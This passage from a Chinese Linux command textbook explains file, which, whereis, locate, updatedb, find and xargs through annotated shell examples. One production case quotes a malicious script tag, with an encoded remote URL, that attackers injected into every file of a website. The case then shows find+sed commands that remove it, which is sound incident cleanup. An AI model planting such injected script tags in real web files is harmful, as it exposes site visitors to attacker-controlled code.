以上便是MySQL数据库客户端程序连接服务器端的命令，并通过套接字文件与数据库服务器进行通信的示例。有关数据库连接的命令，等讲解到数据库时再详细介绍，这里简单了解一下就行了。大家也可以使用man socket命令了解相关信息。
 
6.管道（pipe）文件
 
管道文件（FIFO）也是一个特殊的文件类型，主要用于解决多个程序同时访问一个文件所造成的错误，第一个字符为p。FIFO是First-In First-Out的缩写，此文件类型了解即可或者干脆略过，因为运维工作中极少涉及它。示例代码如下：
 


[root@oldboy ~]# ll /var/spool/postfix/public/qmgr

prw--w--w-. 1 postfix postfix 0 Mar 13 03:31 /var/spool/postfix/public/qmgr

提示：可以执行man fifo详细了解。




8.3　文件及目录查找命令
 
8.3.1　file：显示文件的类型
 
1.命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
file命令用于显示文件的类型。
 
【语法格式】
 


file  [option]  [file]

file  [选项]    [<文件或目录>] 




 
【选项说明】
 
表8-4针对file命令的参数选项进行了说明。
 
表8-4　file命令的参数选项及说明

 
 [image: ]

 
2.使用范例
 
范例8-1：通过file命令查看文件类型。
 


[root@oldboy ~]# file oldboy oldboy.txt oldboy_soft.txt 

oldboy:          character special

oldboy.txt:      ASCII text                   #<==oldboy.txt是ASCII文本。

oldboy_soft.txt: symbolic link to `oldboy.txt'#<==oldboy_soft.txt指向oldboy.txt符号链接。

[root@oldboy ~]# file /etc

/etc: directory                               #<==etc是个目录。




 
8.3.2　which：显示命令的全路径
 
1.命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
which命令用于显示命令的全路径，我们常用这个命令查找命令在哪里，which命令查找的范围是PATH环境变量的路径。
 
【语法格式】
 


which  [option]  [programname]

which  [选项]     [命令名] 




 
[image: ]说明：
 
which命令用于在PATH环境变量里查找指定的命令。
 
【选项说明】
 
表8-5针对which命令的参数选项进行了说明。
 
表8-5　which命令的参数选项及说明
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2.使用范例
 
范例8-2：通过which命令查找指定命令全路径。
 


[root@oldboy ~]# echo $PATH      #<==先查看环境变量。

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

[root@oldboy ~]# which date      #<==查看date命令的全路径。

/bin/date

[root@oldboy ~]# which which       #<==如果指定命令设置了别名，则使用which功能将会显示别名情况。

alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

    /usr/bin/which

[root@oldboy ~]# which cd          #<== Bash内置命令无法使用which。

/usr/bin/which: no cd in （/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin）




 
范例8-3：参数-a的测试。
 


[root@oldboy ~]# which mysql   #<==该实验需要MySQL服务环境。

/usr/local/sbin/mysql 

[root@oldboy ~]# echo $PATH

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

[root@oldboy ~]# PATH=$PATH:/application/mysql/bin/ #<==添加路径到环境变量。

[root@oldboy ~]# echo $PATH

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/application/mysql/bin/

[root@oldboy ~]# which -a mysql  #<==所有包含mysql命令的路径都显示出来了。

/usr/local/sbin/mysql

/application/mysql/bin/mysql     #<==/application/mysql路径是老男孩编译的mysql路径。




 
8.3.3　whereis：显示命令及其相关文件全路径
 
1.命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
whereis命令用于定位指定命令的可执行文件、源码文件及man帮助文件的路径。
 
【语法格式】
 


whereis  [option]  [filename]

whereis  [选项]     [文件名] 




 
[image: ]说明：
 
whereis命令用于在PATH环境变量里查找指定的命令。
 
【选项说明】
 
表8-6针对whereis命令的参数选项进行了说明。
 
表8-6　whereis命令的参数选项及说明

 
 [image: ]

 
2.使用范例
 
范例8-4：通过whereis命令将相关的文件都查找出来。
 


[root@oldboy ~]# whereis svn

svn: /usr/bin/svn /usr/share/man/man1/svn.1.gz

[root@oldboy ~]# whereis -b svn  #<==只查找可执行文件。

svn: /usr/bin/svn

[root@oldboy ~]# whereis -m svn  #<==只查找man帮助文件。

svn: /usr/share/man/man1/svn.1.gz

[root@oldboy ~]# whereis -s svn  #<==只查找源代码文件。

svn:                             #<==没有找到相应的文件。




 
[image: ]提示：Linux工程师在工作中用得最多的还是查找命令所在的路径，因此which更常用。
 
8.3.4　locate：快速定位文件路径
 
1.命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
在Linux系统里有一个名为mlocate.db的数据库文件，这个文件包含系统文件的文件名及对应的路径信息。故而，locate命令查找文件时不用遍历磁盘，而是直接查找mlocate.db文件，这样可以快速给出结果。但这也会存在一个问题，如果是新添加的文件，那么mlocate.db文件就会没有记录，对此，在使用locate命令时可以先用updatedb命令更新一下mlocate.db数据库文件。当然，mlocate.db还会由系统自带的定时任务执行updatedb命令定期更新。
 
特别提示：该命令软件包在CentOS7中默认未安装，如果需要使用此命令，则要提前安装和配置，具体命令如下：
 


[root@oldboy ~]# yum install mlocate -y   #<==安装命令对应的软件包。

[root@oldboy ~]# updatedb                 #<==初始化命令查找的数据库。




 
【语法格式】
 


locate  [option]  [pattern]

locate  [选项]     [文件名] 




 
[image: ]说明：
 
locate命令用于从数据库查找指定的命令。
 
【选项说明】
 
表8-7针对locate命令的参数选项进行了说明。
 
表8-7　locate命令的参数选项及说明

 
 [image: ]

 
2.使用范例
 
范例8-5：通过locate命令查看数据库。
 


[root@oldboy ~]# ll -h /var/lib/mlocate/mlocate.db     #<==locate查找的数据库文件。

-rw-r----- 1 root slocate 1.4M Nov 16 18:32 /var/lib/mlocate/mlocate.db

[root@oldboy ~]# cat /etc/cron.daily/mlocate.cron     #<==系统自带的定时任务脚本。

root@oldboy ~]# cat /etc/cron.daily/mlocate          #<==系统自带的定时任务脚本，C6的名称为mlocate.cron。

#!/bin/sh

nodevs=$（awk '$1 == "nodev" && $2 != "rootfs" && $2 != "zfs" { print $2 }' < /proc/filesystems）

renice +19 -p $$ >/dev/null 2>&1

ionice -c2 -n7 -p $$ >/dev/null 2>&1

/usr/bin/updatedb -f "$nodevs"




 
范例8-6：查找文件路径。
 


[root@oldboy ~]# locate pwd         #<==直接跟想要查找的文件名，只要是包含pwd字符串的都能找出来。

/bin/pwd

/etc/.pwd.lock

/etc/latrace.d/pwd.conf

/lib/modules/2.6.32-573.el6.x86_64/kernel/drivers/watchdog/hpwdt.ko

/sbin/unix_chkpwd

/usr/bin/pwdx

/usr/include/pwd.h

/usr/lib/x86_64-redhat-linux5E/include/pwd.h

/usr/lib64/cracklib_dict.pwd

/usr/lib64/python2.6/lib-dynload/spwdmodule.so

……

[root@oldboy ~]# locate -c pwd       #<==只显示匹配的行数。

28




 
范例8-7：使用通配符查找文件路径。
 


[root@oldboy ~]# locate /etc/sh    #<==只要部分符合就输出。

/etc/shadow

/etc/shadow-

/etc/shells

[root@oldboy ~]# locate /etc/sh*   #<==还可以使用通配符。

/etc/shadow

/etc/shadow-

/etc/shells

[root@oldboy ~]# locate -c /etc/*sh*

25




 
8.3.5　updatedb：更新mlocate数据库
 
1.命令详解
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
updatedb命令可以创建或更新locate命令使用的数据库。updatedb命令会被定时任务定期（每天）执行，此命令与locate在一个软件包里，在CentOS7下需要单独安装，见locate命令的安装方法。
 
【语法格式】
 


updatedb  [option]  

updatedb  [选项]




 
【选项说明】
 
表8-8针对updatedb命令的参数选项进行了说明。
 
表8-8　updatedb命令的参数选项及说明

 
 [image: ]

 
2.使用范例
 
范例8-8：查看数据库。
 


[root@oldboy ~]# ll -h /var/lib/mlocate/mlocate.db  #<==这就是要被更改的数据库文件。

-rw-r----- 1 root slocate 1.4M Nov 16 18:32 /var/lib/mlocate/mlocate.db




 
范例8-9：更新数据库。
 


[root@oldboy ~]# locate oldboy          #<==查看包含oldboy的文件。

/root/oldboy.log

[root@oldboy ~]# touch oldboy20191116 

[root@oldboy ~]# locate oldboy          #<==再次查看，发现新建的oldboy20191116文件没有显示。

/root/oldboy.log

[root@oldboy ~]# updatedb -vU /root/     #<==-v显示更新过程，-U指定更新路径。

/root/.viminfo

/root/oldboy20191116

/root/anaconda-ks.cfg

/root/install.log

……

[root@oldboy ~]# locate oldboy          #<==再次查看，发现oldboy20191116文件出现了。

/root/oldboy.log

/root/oldboy20191116

[root@oldboy ~]# ll -h /var/lib/mlocate/mlocate.db

-rw-r----- 1 root slocate 707 Nov 16 20:41 /var/lib/mlocate/mlocate.db #<==时间变了。




 
8.3.6　find：查找目录下的文件
 
1.命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
find命令用于查找目录下的文件，同时还可以调用其他命令执行相应的操作。
 
【语法格式】
 


find  [-H] [-L] [-P] [-D debugopts] [-Olevel]   [pathname]   [expression] 

find  [选项]                                    [路径]       [操作语句]




 
[image: ]说明：
 
注意子模块的先后顺序。
 
图8-3为find命令语法的使用说明。
 
 
 [image: ] 


图8-3　find命令语法的使用说明
 
【选项说明】
 
表8-9针对find命令的参数选项进行了说明。
 
表8-9　find命令的参数选项及说明

 
 [image: ]

 

 [image: ]

 
2.使用范例
 
（1）基础范例
 
范例8-10：查找指定时间内修改过的文件。
 


[root@oldboy data]# find . -atime -2     #<==“.”代表当前目录，查找两天内被访问的文件使用选项atime，-2代表两天内。



./file1.txt

./file2.txt

./dir2

./dir3

[root@oldboy data]# find /data/ -mtime -5     #<==使用绝对路径/data/，查找修改时间在5天以内的文件使用选项mtime。

/data/

/data/file1.txt

/data/file2.txt

/data/dir2

/data/dir3




 
find查找时间的说明图如图8-4所示。
 
 
 [image: ] 


图8-4　find查找时间的说明示意图
 
具体说明如下。
 
·-4：表示文件更改时间距现在4天以内。

·+4：表示文件更改时间距现在4天以前。

·4：表示距现在第4天。
 
范例8-11：用-name指定关键字查找。
 


[root@oldboy data]# find /var/log/ -mtime +5 -name '*.log' #<==在/var/log/目录下

                                              查找5天前以“.log”

                                                结尾的文件。

/var/log/openvpn.log 




 
范例8-12：利用“！”反向查找。
 


[root@oldboy data]# find .  -type d #<==-type表示按类型查找，d代表目录，查找当前目录下的所有目录。

.

./dir2

./dir3 

[root@oldboy data]# find . ! -type d #<==!表示取反，查找不是目录的文件，注意感叹号的位置。

./file1.txt

./file2.txt 




 
范例8-13：按照目录或文件的权限来查找文件。
 


[root@oldboy data]# find /data/ -perm 755 #<==按照文件权限来查找文件，755是权限的数字表示方式。

/data/

/data/dir2

/data/dir3 




 
范例8-14：按大小查找文件。
 


[root@oldboy data]# find . -size +1000c  #<==查找当前目录下文件大小大于1000字节的文件。

.

./dir2

./dir3




 
范例8-15：查找文件时希望忽略某个目录。
 


[root@oldboy data]# find /data -path "/data/dir3" -prune -o -print

     #<==参数-path用于指定路径样式，配合-prune参数用于排除指定目录。

/data

/data/file1.txt

/data/file2.txt

/data/dir2




 
代码中的-path“/data/dir3”-prune-o-print是-path“/data/dir3”-a-prune-o-print的简写。其中，-a和-o类似于Shell中的“&&”和“||”，当-path“/data/dir3”为真时，执行-prune；为假时，执行-print。
 
范例8-16：忽略多个目录。
 


[root@oldboy data]# find /data \(-path /data/dir2 -o -path /data/dir3 \） -prune -o -print 

/data

/data/file1.txt

/data/file2.txt




 
使用圆括号可以将多个表达式结合在一起，但是圆括号在命令行中另有特殊含义，所以此处使用“\”进行转义，即告诉bash不对后面的字符“（）”作解析，而是留给find命令处理。而且在“\（-path”中左括号和path之间有空格，“dir3\）”中dir3和右括号之间有空格，这是语法要求。
 
范例8-17：使用user和nouser选项。
 


[root@oldboy data]# chown nobody:nobody file2.txt     #<==chown命令用于改变文件的用户和用户组，具体用法见chown命令的讲解。

[root@oldboy data]# ll -h file2.txt 

-rw-r--r-- 1 nobody nobody 0 Nov  4 14:28 file2.txt

[root@oldboy data]# find . -user nobody           #<==查找用户为nobody的文件。

./file2.txt

[root@oldboy data]# chown 555 file2.txt                 

[root@oldboy data]# ll -h file2.txt

-rw-r--r-- 1 555 nobody 0 Nov  4 14:28 file2.txt  #<==如果是这种数字的属主就需要使用-nouser参数了。

[root@oldboy data]# find . -nouser                #<==查找没有对应任何用户的文件。   

./file2.txt 




 
这个例子是为了查找那些属主账户已经被删除的文件，使用-nouser选项时，不必给出用户名。
 
范例8-18：使用group和nogroup选项。
 


[root@oldboy data]# find . -group nobody   #<==这个功能与上一个例子类似，此处是查找用户组为nobody的文件。

./file2.txt 

[root@oldboy data]# chown .555 file2.txt     

[root@oldboy data]# ll -h file2.txt          

-rw-r--r-- 1 555 555 0 Nov  4 14:28 file2.txt

[root@oldboy data]# find . -nogroup          #<==查找没有对应任何用户组的文件。

./file2.txt




 
范例8-19：查找比某个文件新或旧的文件。
 
如果希望查找更改时间比某个文件（file1）新，但比另一个文件（file2）旧的所有文件，可以使用-newer选项。它的一般形式为：-newer file1！-newer file2。其中，“！”是逻辑非符号，即取反的意思。
 


[root@oldboy data]# ll -h          

total 8.0K

drwxr-xr-x 2 root root 4.0K Nov  4 14:26 dir2

drwxr-xr-x 2 root root 4.0K Nov  4 14:26 dir3

-rw-r--r-- 1 root root    0 Nov  4 14:28 file1.txt

-rw-r--r-- 1  555  555    0 Nov  4 16:27 file2.txt

-rw-r--r-- 1 root root    0 Nov  4 16:26 file3.txt

[root@oldboy data]# find . -newer file1.txt #<==在当前目录查找更改时间比文件file1.txt新的文件。

.

./file3.txt

./file2.txt

[root@oldboy data]# find . -newer file1.txt ! -newer file2.txt 

#<==查找更改时间比文件file1.txt新但比file2.txt旧的文件。

.

./file3.txt

./file2.txt #<==包含file2.txt。




 
范例8-20：逻辑操作符的使用。
 


[root@oldboy oldboy]# find . -maxdepth 1 -type d #<==-maxdepth 1查找一级目录，类似于tree -L 1。

.

./test

./xingfujie

./a

./ext

./xiaodong

./xiaofan

[root@oldboy oldboy]# find . -maxdepth 1 -type d ! -name "."  #<==使用感叹号“！”取反，不输出名字为点的行。

./test

./xingfujie

./a

./ext

./xiaodong

./xiaofan

[root@oldboy oldboy]# find . -maxdepth 1 -type d ! -name "." -o -name "oldboy"  

#<==-o表示或的意思，显示除“.”以外的所有目录或文件名为oldboy的文件。

./test

./oldboy

./xingfujie

./a

./ext

./xiaodong

./xiaofan

[root@oldboy oldboy]# find . -maxdepth 1 -type d ! -name "." -a -name "ext" 

#<==-a在这里是并且的意思，查找不为点号并且名字为ext的目录，最后结果只显示名为ext的目录。       

./ext




 
范例8-21：find正则表达式的用法。
 
由于-name参数只支持“*”、“？”、“[]”这三个通配符，因此在碰到复杂的匹配需求时，就会用到正则表达式。
 
find正则表达式的语法如下：
 


find pathname -regextype "type" -regex "pattern"




 
示例代码如下：
 


[root@oldboy ~]# find / -regex "find"  #<==给出的正则表达式必须要匹配完整的文件路径。

[root@oldboy ~]# find / -regex ".*find"

/bin/find

/usr/bin/oldfind

/usr/bin/find

/usr/share/doc/subversion-1.6.11/tools/client-side/wcfind

/usr/src/kernels/2.6.32-504.el6.x86_64/include/config/generic/find

[root@oldboy ~]# find / -regex ".*/find"

/bin/find

/usr/bin/find

/usr/src/kernels/2.6.32-504.el6.x86_64/include/config/generic/find




 
正则表达式的类型默认为emacs，还有posix-awk、posix-basic、posix-egrep和posix-extended等。下面是posix-extended的示例代码：
 


[root@oldboy data]# find . -regextype "posix-egrep" -name '*[0-9]' 

./dir2

./dir3




 
需要说明的是，上面正则表达式的使用只是给大家拓展一下知识，在实际工作中用得比较少。
 
范例8-22：ls-l命令放在find命令的-exec选项中执行。
 


[root@oldboy data]# find . -type f -exec ls -l {} \;

-rw-r--r-- 1 root root 0 Nov  4 16:26 ./file3.txt

-rw-r--r-- 1 root root 0 Nov  4 14:28 ./file1.txt

-rw-r--r-- 1 555 555 0 Nov  4 16:27 ./file2.txt 

#<==find命令匹配到了当前目录下的所有普通文件，并在-exec选项中使用ls -l命令将它们列出。




 
详细说明如下。
 

 [image: ]

 
-exec后面跟的是command命令，最后以分号（；）作为结束标志，考虑到各个系统中分号会有不同的意义，所以前面要加反斜杠对分号进行转义。
 
这里需要注意如下几点。
 
·{}的作用：指代前面find命令查找到的文件或目录。

·{}前后都要有空格。

·command可以是其他任何命令，例如，示例代码中的ls、rm等命令。
 
范例8-23：在目录中查找更改时间在n天以前的文件，并删除它们。
 


[root@oldboy data]# find . -type f -mtime +14 -exec rm {} \;

    #<==find命令在目录中查找更改时间在14天以前的文件，并在-exec选项中使用rm命令将它们删除。




 
范例8-24：使用-exec选项的安全模式-ok。
 


[root@oldboy data]# find /var/log/ -name "*.log" -mtime +5 -ok rm {} \;

< rm ... /var/log/anaconda.ifcfg.log > ? n

< rm ... /var/log/anaconda.log > ? n

< rm ... /var/log/anaconda.yum.log > ? ^C

#<==find命令在/var/log/目录中查找所有文件名以.log结尾、更改时间在5天以前的文件，并删除它们，到此为止，-ok的功能与-exec一样，但是-ok还有一个功能，即在删除之前先给出提示，指出按y键表示删除文件，按n键表示不删除文件，这样操作会比较安全。




 
范例8-25：对查找到的文件内容显示属性信息。
 


[root@oldboy data]# find . -type f|xargs ls -l  #<==将find命令查找到的普通文件通过管道符号和xargs命令传给ls命令执行。注意命令格式，这里使用了管道符号“|”，xargs是一个命令，是向其他命令传递参数的一个过滤器，大家可以先去阅读xargs命令的相关章节之后再来阅读此部分内容。

-rw-r--r-- 1 root root 0 Nov  4 14:28 ./file1.txt

-rw-r--r-- 1  555  555 0 Nov  4 16:27 ./file2.txt

-rw-r--r-- 1 root root 0 Nov  4 16:26 ./file3.txt




 
范例8-26：使用xargs执行mv命令的示例。
 


[root@oldboy data]# ls

dir2  dir3  file1.txt  file2.txt  file3.txt

[root@oldboy data]# find . -name "*.txt"|xargs -i mv {} dir2/

     #<==使用xargs的-i参数，使得{}代表find查找到的文件，将这些文件以参数的形式放在mv命令后面，作为要移动的源文件，移动到dir2目录下。

[root@oldboy data]# ls

dir2  dir3

[root@oldboy data]# ls dir2/

file1.txt  file2.txt  file3.txt




 
范例8-27：find结合xargs的-p选项使用的示例。
 


[root@oldboy data]# find dir2 -name "file*"|xargs -p rm -f

rm -f dir2/file3.txt dir2/file1.txt dir2/file2.txt ?...y

[root@oldboy data]# ls dir2/

[root@oldboy data]#

#<==说明：使用xargs命令的-p选项会提示让你确认是否执行后面的命令,y表示执行,n表示不执行。




 
（2）技巧性范例
 
范例8-28：进入/root目录下的data目录，删除oldboy.txt文件。
 
这里提供了多种删除方法。
 


①cd /root/data  #<==进入目录再删，不使用全路径，这样会更安全。

  rm oldboy.txt

②find /root/data -type f -name "*oldboy.txt" |xargs rm –f

③find /root/data -type f -name "*oldboy.txt" -exec rm {} \;




 
[image: ]提示：在生产环境中删除文件推荐使用第②种方法，该方法能够尽可能地防止误删文件。
 
范例8-29：在/oldboy目录及其子目录下的所有以扩展名“.sh”结尾的文件中，将包含“./hostlists.txt”的字符串全部替换为“../idctest_iplist”。
 
[image: ]说明：
 
此题用到了sed命令的替换功能，读者如果不是很懂，那么可以先看下sed命令之后再做这道题。
 


sed -i 's#./hostlists.txt#../idctest_iplist#g' 文件名  #<==使用sed替换文件内容，然后结合find命令找到需要替换的文件。




 
方法一：find+exec方法。
 


find /oldboy -name "*.sh" -exec sed -i 's#./hostlists.txt#../idctest_iplist#g' {} \;




 
方法二：find+xargs方法。
 


find /oldboy -name "*.sh"|xargs sed -i 's#./hostlists.txt#../idctest_iplist#g' 




 
方法三：高效处理方法，find语句两端是反引号。
 


sed -i 's#./hostlists.txt#../idctest_iplist#g' `find /oldboy -name "*.sh"`  #<==前面说过，如果一个命令语句中还有反引号，优先执行反引号中的命令。




 
范例8-30：将/etc下所有的普通文件打包成压缩文件。
 
此题涉及了tar命令的用法，读者可以先学会tar命令再来查看这道题。
 
方法一：使用反引号的方法。
 


[root@oldboy /]# tar zcvf oldboy.tar.gz `find /oldboy -type f -name "test.txt"`  #<==使用反引号的方法最简单，也最容易理解。

tar: Removing leading `/' from member names

/oldboy/xiaofan/test.txt

/oldboy/ext/test.txt

/oldboy/test/test.txt




 
方法二：使用xargs的方法。
 


[root@oldboy /]# find /oldboy -type f -name "test.txt"|xargs tar zcvf oldboy01.tar.gz

tar: Removing leading `/' from member names

/oldboy/xiaofan/test.txt

/oldboy/ext/test.txt

/oldboy/test/test.txt




 
范例8-31：删除一个目录下的所有文件，但保留一个指定文件。
 
假设这个目录是/xx/，里面有file1、file2…file10等10个文件，保留一个指定的文件file10，其余的删除，示例代码如下：
 


[root@oldboy  ~]# cd /xx

[root@oldboy xx]# touch file{1..10}

[root@oldboy xx]# ls

file1  file10  file2  file3  file4  file5  file6  file7  file8  file9




 
方法一：使用find+xargs命令处理（推荐方法）。
 


[root@oldboy xx]# ls

file1  file10  file2  file3  file4  file5  file6  file7  file8  file9

[root@oldboy xx]# find /xx -type f ! -name "file10"|xargs rm -f  #<==核心是使用感叹号排除file10文件。

[root@oldboy xx]# ls

file10




 
方法二：使用find+exec命令处理（文件多时效率低）。
 


[root@oldboy xx]# find /xx -type f ! -name "file10" -exec rm -f {} \;     

[root@oldboy xx]# ls

file10




 
方法三：使用rsync命令处理（rsync命令后面会讲解）。
 


[root@oldboy xx]# ls

file1  file10  file2  file3  file4  file5  file6  file7  file8  file9

[root@oldboy xx]# mkdir /null #<==建立一个空目录用于rsync删除文件使用。

[root@oldboy xx]# rsync -az --delete --exclude "file10" /null/ /xx/

[root@oldboy xx]# ls

file10




 
这部分内容请参考老男孩的博客：http://oldboy.blog.51cto.com/2561410/1650380。
 
（3）生产案例
 
范例8-32：这是几年前笔者为一家IT公司做技术顾问时遇到的一个实际问题，当时的一个lamp的服务器里，站点目录下的所有文件均被植入了如下内容：
 


<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>




 
包括图片文件也被植入了上述内容，网站打开时就会调用这个地址，显示一个广告，造成的影响很恶劣。虽然现在看起来这个问题很简单，但当时该公司的Linux运维花了很久都没搞定，后来经老男孩的指点，很快就搞定了。那么，具体该如何解决呢？
 
解决思路是遍历所有的目录和所有的文件，把以上被植入的内容删除掉。
 
具体的处理过程如下。
 
1）与运维人员确认问题，并详细确认问题的情况。
 
2）制定处理方案，先备份数据，然后，执行命令批量修改回来。
 
3）写下解决说明（类似本例这样），写完发给运维人员。
 
4）询问处理结果，并告知应详细查看日志，找出问题发生的根源。
 
5）提供亡羊补牢的解决方案（站点目录严格权限规划方案及新上线规范思路）。
 
从发现问题到解决问题的过程具体如下。
 
1）运营人员、网站用户发现问题，网站有弹窗广告。
 
2）运营人员报给开发人员，开发人员联系运维人员。开发和运维共同解决。
 
3）开发发现造成这个问题的原因就是所有站点目录下的文件均嵌入了一段js代码。
 
4）运维人员的解决办法是，先备份出问题的所有原始文件，然后用find+sed替换，如果有备份数据也可以将备份数据还原。
 
5）详细查看日志，寻找问题发生的根源。
 
6）提供亡羊补牢的解决方案（站点目录严格权限规划方案及新上线规范思路）。
 
示例处理命令如下：
 


[root@oldboy ett]# find . -type f|xargs sed -i 's#<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>##g'




 
也可以直接清理指定的行，命令如下：
 


[root@oldboy ett]# find . -type f|xargs sed -i '/*x.js?google_ad*/d'




 
范例8-33：已知Apache服务的访问日志按天记录在服务器本地目录/app/logs下，由于磁盘空间紧张，现在要求只能保留最近7天的访问日志！请问如何解决？
 
对于这个问题，可以从Apache服务配置上着手，也可以从生成出来的日志上着手。
 
首先，生成测试文件，脚本如下（命令行直接执行即可）：
 


for n in `seq 14`

do

    date -s "2014/08/$n"

    touch access_www_`（date +%F）`.log

done

date -s "2014/08/15"




 
生成的文件如下所示：
 


[root@oldboy log]# ls

access_www_2014-08-01.log  access_www_2014-08-05.log  access_www_2014-08-09.log

access_www_2014-08-13.log

access_www_2014-08-02.log  access_www_2014-08-06.log  access_www_2014-08-10.log

access_www_2014-08-14.log

access_www_2014-08-03.log  access_www_2014-08-07.log  access_www_2014-08-11.log

access_www_2014-08-04.log  access_www_2014-08-08.log  access_www_2014-08-12.log

[root@oldboy log]# date -s "2014/08/15"

Fri Aug 15 00:00:00 CST 2014




 
解决上述问题的方法有如下四种：
 


①find . -type f -name "access*.log" -mtime +7|xargs rm -f  

②find . -type f -name "access*.log" -mtime +7 -exec rm -f {} \;

③find . -type f -name "access*.log" -mtime +7 -delete  #<==-delete是find命令的参数，可以将查找出的文件删除。

④从Apache服务配置上着手，用cronolog软件轮询日志

CustomLog "|/usr/local/sbin/cronolog  /app/logs /access_www_%w.log"  combined 

总共生成7天日志1-7，下周又覆盖1-7的日志




 
（4）拓展知识：将找到的文件移动到指定位置的方法
 
将找到的文件移动到指定位置，可以采用如下几种经典方法（同样适用于cp复制场景）。
 


方法1：

find . -name "*.txt"|xargs -i mv {} dir2/ #<==xargs的-i参数使得{}可代替find找到的内容。

方法2：

find . -name "*.txt"|xargs mv -t dir2/    #<==mv命令的-t选项前面已讲解过，可以颠倒源和目标。

方法3：

mv `find . -name "*.txt"` dir2/         #<==反引号"的作用是优先执行它包含的内容。




 
方法1中xargs的-i参数使得{}可代替find找到的内容，最终作为mv命令的源复制到dir2目录下，而方法2是利用mv的-t命令来颠倒源和目标的，因为find找到的结果通过xargs默认会作为命令的目标，即“mv dir2/目标”，这显然是错的。方法3是利用mv命令的基本语法，然后将find命令用反引号括起来作为源进行操作。
 
（5）拓展知识：find命令结合exec和xargs使用的区别
 
find命令结合exec和xargs使用的区别具体见表8-10。
 
表8-10　find命令结合exec和xargs使用的区别

 
 [image: ]

 
使用-exec选项命令操作的示例及结果如下：
 


[root@oldboy ~]# find . -type f -exec echo oldboyedu {} \;  #<==从命令的执行结果中可以看到，每次获得一个文件就输出一次。

oldboyedu ./.viminfo

oldboyedu ./anaconda-ks.cfg

oldboyedu ./install.log

oldboyedu ./install.log.syslog

oldboyedu ./.bash_logout

oldboyedu ./.cshrc

oldboyedu ./ls.txt

oldboyedu ./.bash_history

oldboyedu ./.lesshst

oldboyedu ./oldboy.log

oldboyedu ./test.txt

oldboyedu ./.tcshrc

oldboyedu ./GB2312.txt

oldboyedu ./.bash_profile

oldboyedu ./.bashrc




 
使用xargs命令操作的示例及结果如下：
 


[root@oldboy ~]# find . -type f |xargs echo  oldboyedu #<==输出结果只有一行，xargs获取到所有文件名一次性输出。

oldboyedu ./.viminfo ./anaconda-ks.cfg ./install.log ./install.log.syslog ./.bash_logout ./.cshrc ./ls.txt ./.bash_history ./.lesshst ./oldboy.log ./test.txt ./.tcshrc ./GB2312.txt ./.bash_profile ./.bashrc




 
xargs还能控制每行输出的参数个数，示例代码如下（更多使用方法见xargs命令）：
 


[root@oldboy ~]# find . -type f |xargs -n 3 echo  oldboyedu  #<==使用-n 3指定每次输出3个参数。

oldboyedu ./.viminfo ./anaconda-ks.cfg ./install.log

oldboyedu ./install.log.syslog ./.bash_logout ./.cshrc

oldboyedu ./ls.txt ./.bash_history ./.lesshst

oldboyedu ./oldboy.log ./test.txt ./.tcshrc

oldboyedu ./GB2312.txt ./.bash_profile ./.bashrc




 
验证区别二的案例：
 


[root@oldboy ~]# touch "oldboy edu"     #<==创建一个文件名带有空格的特殊文件。

[root@oldboy ~]# ll -h "oldboy edu"

-rw-r--r-- 1 root root 0 May 17 16:30 oldboy edu

[root@oldboy ~]# find . -name "*oldboy*" -exec ls -lh {} \; #<==使用-exec参数正常使用。

-rw-r--r-- 1 root root 0 May 17 16:30 ./oldboy edu

[root@oldboy ~]# find . -name "*edu*"|xargs ls -lh          #<==使用xargs命令无法正常打印。

ls: cannot access ./oldboy: No such file or directory

ls: cannot access edu: No such file or directory




 
8.3.7　xargs：将标准输入转换成命令行参数
 
1.命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
xargs命令是向其他命令传递命令行参数的一个过滤器，它能够将管道或者标准输入传递的数据转换成xargs命令后所跟命令的命令行参数。
 
【语法格式】
 


xargs  [option]

xargs  [选项]




 
[image: ]说明：
 
xargs命令以及后面的选项之间至少要有一个空格。
 
【选项说明】
 
表8-11针对xargs命令的参数选项进行了说明。
 
表8-11　xargs命令的参数选项及说明
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2.使用范例
 
范例8-34：多行输入变单行的示例。
 


[root@oldboy ~]# cat test.txt     #<==这是测试文本。

1 2 3 4 5 6

7 8 9

10 11

[root@oldboy ~]# xargs < test.txt #<==将所有数字变成一行，注意xargs不能直接接文件，需要结合输入重定向符“<”。

1 2 3 4 5 6 7 8 9 10 11




 
范例8-35：通过-n指定每行输出个数的示例。
 


[root@oldboy ~]# xargs -n 3 < test.txt #<==每行最多输出3个。

1 2 3

4 5 6

7 8 9

10 11




 
范例8-36：自定义分隔符（使用-d功能）的示例。
 


[root@oldboy ~]# echo splitXsplitXsplitXsplitX                 #<==echo将文本打印到屏幕上。

splitXsplitXsplitXsplitX

[root@oldboy ~]# echo splitXsplitXsplitXsplitX|xargs -d X      #<==以X作为分隔符。

split split split split

[root@oldboy ~]# echo splitXsplitXsplitXsplitX|xargs -d X -n 2 #<==以X作为分隔符且每行最多输出2个。

split split

split split




 
[image: ]提示：该参数类似于cut命令的-d参数以及seq参数的-s参数。
 
范例8-37：参数-I可以指定一个替换的字符串。
 
这个参数的功能不是很好理解，需要做个铺垫，使用xargs的-i选项可以让{}代替前面find命令找到的文件或目录，命令如下：
 


[root@oldboy data]# find . -name "*.log"|xargs -i mv {} dir1/ #<==这个例子在find命令中已经讲解过了。

[root@oldboy data]# ls

dir1  file1.txt  file4.txt  file5.txt




 
从上面的示例代码中可以看出，使用-i选项可以用{}代替find查找的结果，而-I选项可以指定其他字符代替{}，例如[]。
 


[root@oldboy data]# find . -name "file*"|xargs -I [] cp [] dir2

[root@oldboy data]# ls

dir1  dir2  file1.txt  file4.txt  file5.txt

[root@oldboy data]# ls dir2/

file1.txt  file4.txt  file5.txt

[root@oldboy data]#




 
